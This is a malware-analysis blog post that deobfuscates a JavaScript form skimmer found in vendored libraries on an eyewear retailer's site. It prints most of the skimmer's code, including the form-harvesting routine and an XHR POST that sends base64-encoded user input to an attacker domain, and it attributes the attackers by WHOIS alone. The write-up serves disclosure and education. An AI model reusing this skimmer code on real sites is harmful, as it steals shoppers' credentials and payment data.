Reversing JS Malware From marveloptics.com
Recently, my mom was browsing for a new pair of glasses, and upon visiting marveloptics.com
, her antivirus software started flashing alerts over some malicious javascript. Always curious to see how real-world attacks work, I reverse engineered it.
Files are available in this GitHub repository.
Location
The hijackers injected their code in vendored libraries like modernizr and openid, which offers a few benefits.
- Vendored libraries will contain minified code, which make it harder to spot malicious and obfuscated code.
- Injected malware will survive updates to the application code, since developers update their dependencies less frequently, if ever.
https://www.marveloptics.com/templates/moptics/js/vendor/modernizr.js
https://www.marveloptics.com/libraries/openid/openid.js
Deobfuscating
Files: modernizr.js openid.js
They contain the exact same code, and it’s clearly obfuscated with something like javascriptobfuscator.com.
Luckily, js-beautify specifically deobfuscates these kinds of scripts.
$ js-beautify -x -s 2 original/openid.js > deobfuscated.js
Wow, that’s a little bit better, but still a huge mess! Next comes the tedious work of find-and-replacing variable names and adding comments:
What does it do?
Step by step, here’s what the code does:
Start it off
// Only run on pages with worthwhile info
if ((new RegExp("onepage|checkout|onestep", "gi")).test(window.location)) {
Malware.send();
}
This is the entry point of the entire script, and it calls send(), but only if the page is a checkout page.
Declare the main object
var Malware = {
data: null,
url: "https://webfotce.me/js/form.js",
I renamed it to Malware
, and the bulk of the code lives inside this object literal. data
will eventually store the user’s stolen data, which will be sent to url
. Details about this domain
Identify the user
myid: (function(cookieName) {
// Check setidd cookie for id
var id = document.cookie.match(new RegExp("(?:^|; )" + cookieName.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "\\$1") + "=([^;]*)"));
return id ? decodeURIComponent(id[1]) : undefined;
})("setidd") || (function() {
// If the setidd cookie doesn't exist, then generate a new id and save it in the setidd cookie
// IDs look like 1529853014535-289383517
// Unix timestamp (ms), a dash, and a long random number
var timestamp = new Date();
var id = timestamp.getTime() + "-" + Math.floor(Math.random() * (999999999 - 11111111 + 1) + 11111111);
var expiration = new Date(new Date().getTime() + 60 * 60 * 24 * 1000); // Cookie expires in 24 hours
document.cookie = "setidd=" + id + "; path=/; expires=" + expiration.toUTCString();
return id;
})(),
myid
stores a string ID to identify the user.
In the first block, the program checks for a cookie called setidd
. If it exists (the victim is a returning user), then it parses the cookie for the ID, and stores it in myid
.
However, if the cookie does not exist, then it will generate a new ID, and save it in myid
and the setidd
cookie, which expires in 24 hours. IDs are made up of the current unix timestamp, a dash, and a long random number, and look like 1529853014535-289383517
.
Helper function to vacuum up data
stealData: function() {
// Serializes the values of inputs, dropdowns, textareas, checkboxes, and buttons (?)
// Saves them in Malware.data
Malware.data = null;
var elements = document.querySelectorAll("input, select, textarea, checkbox, button");
for (var i = 0; i < elements.length; i++) {
if (elements[i].value.length > 0) {
var name = elements[i].name;
if (name == "") {
name = i;
};
Malware.data += elements[i].name + "=" + elements[i].value + "&";
}
}
},
First, it clears out the data
property by setting it to null
. Then, it finds all text inputs on the page, and saves their names and values in the format:
username=admin&password=hunter2
But actually, because data
starts out as null
, when the program concatenates new values to it, the resulting string ends up looking more like this:
nullusername=admin&password=hunter2
This is how we know we’re dealing with top tier hackers.
The big one: send()
send: function() {
try {
// ...
} catch (e) {}
}
These are pro developers, and pros never let errors get in their way.
Add event listeners
// When the user clicks any buttons or form inputs, run stealData
var elements = document.querySelectorAll("a[href*=\'javascript:void(0)\'],button, input, submit, .btn, .button");
for (var i = 0; i < elements.length; i++) {
var element = elements[i];
if (element.type != "text" && element.type != "select" && element.type != "checkbox" && element.type != "password" && element.type != "radio") {
if (element.addEventListener) {
element.addEventListener("click", Malware.stealData, false);
} else {
element.attachEvent("onclick", Malware.stealData);
}
}
};
The malware injects an event listener to all buttons on the page, so when the user clicks any of them, then they run stealData() again. Testing for element.addEventListener
and using element.attachEvent
if it doesn’t exist is a trick to support Internet Explorer 8 and below.
// When the user submits a form, run stealData
var formElements = document.querySelectorAll("form");
for (vari = 0; i < formElements.length; i++) { // Yes, this is their typo!
if (formElements[i].addEventListener) {
formElements[i].addEventListener("submit", Malware.stealData, false);
} else {
formElements[i].attachEvent("onsubmit", Malware.stealData);
}
};
They attempt to do the same thing for form submission too. However, they made a typo: instead of writing var i = 0
, they wrote vari = 0
. This instead creates a global variable called vari
and sets it to 0. Luckily, the i
from the previous loop is still in scope since it’s scoped to the function. Because of this, i
starts higher than 0, and likely higher than formElements.length
too, meaning the loop body never actually runs.
Again, we’re dealing with pros here.
Send the data!
// If there's any data to send, then send it to configured url
if (Malware.data != null) {
var hostname = location.hostname.split(".").slice(0).join("_") || "nodomain";
var data = btoa(Malware.data); // base64 encoded
var xhr = new XMLHttpRequest();
xhr.open("POST", Malware.url, true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("info=" + data + "&hostname=" + hostname + "&key=" + Malware.myid);
};
If there’s any data inside data
(set by stealData()) then POST it to their domain. Everything inside data
gets base64 encoded so it doesn’t collide with the rest of their POST request, which includes the ID and the current page’s hostname (with dots converted to underscores, for some reason).
Clean up and run again
Malware.data = null;
data = null;
setTimeout(function() {
Malware.send();
}, 30); // This whole function runs every 30 milliseconds!
send
recursively calls itself every 30 milliseconds (!). They really don’t care about performance.
WHOIS behind this?
A WHOIS query of their domain reveals that webfotce.me
is registered to a company called “Wuxi Yilian LLC,” based in Fujian China. Their registrar is http://www.bizcn.com. It is probably safe to say that these attackers are Chinese.
Domain Name: WEBFOTCE.ME
Registry Domain ID: D425500000000910031-AGRS
Registrar WHOIS Server:
Registrar URL: http://www.bizcn.com
Updated Date: 2017-10-25T07:11:06Z
Creation Date: 2016-10-28T10:49:19Z
Registry Expiry Date: 2018-10-28T10:49:19Z
Registrar Registration Expiration Date:
Registrar: Bizcn.com
Registrar IANA ID: 471
Registrar Abuse Contact Email:
Registrar Abuse Contact Phone:
Reseller:
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registrant Organization: Wuxi Yilian LLC
Registrant State/Province: Fujian
Registrant Country: CN
Name Server: NS1.WEBFOTCE.ME
Name Server: NS2.WEBFOTCE.ME
DNSSEC: unsigned
A google search reveals that this isn’t this company’s only scam: they allegedly stole 250 bitcoin from this redditor when bitcoins were about $6000 apiece, meaning they’ve stolen about 1.5 million dollars.
Time frame
According to Internet Archive snapshots, marveloptics.com
has been infected since between January and June 2017, meaning all of their customers over the past year have had their information stolen.
I emailed [email protected] with details on June 24 this year, and have yet to receive a reply.
Hashes
sha256
cc4eb4839266c655c1bd4868d2994f68e44effd3249322eb37d3673954904f30 modernizr.js
d691b626a821c1bf93d1d75e4e8f0891c81b6f7a1e2c479eacdc18b9ec48d492 openid.js
Files available here: https://github.com/veggiedefender/marveloptics_malware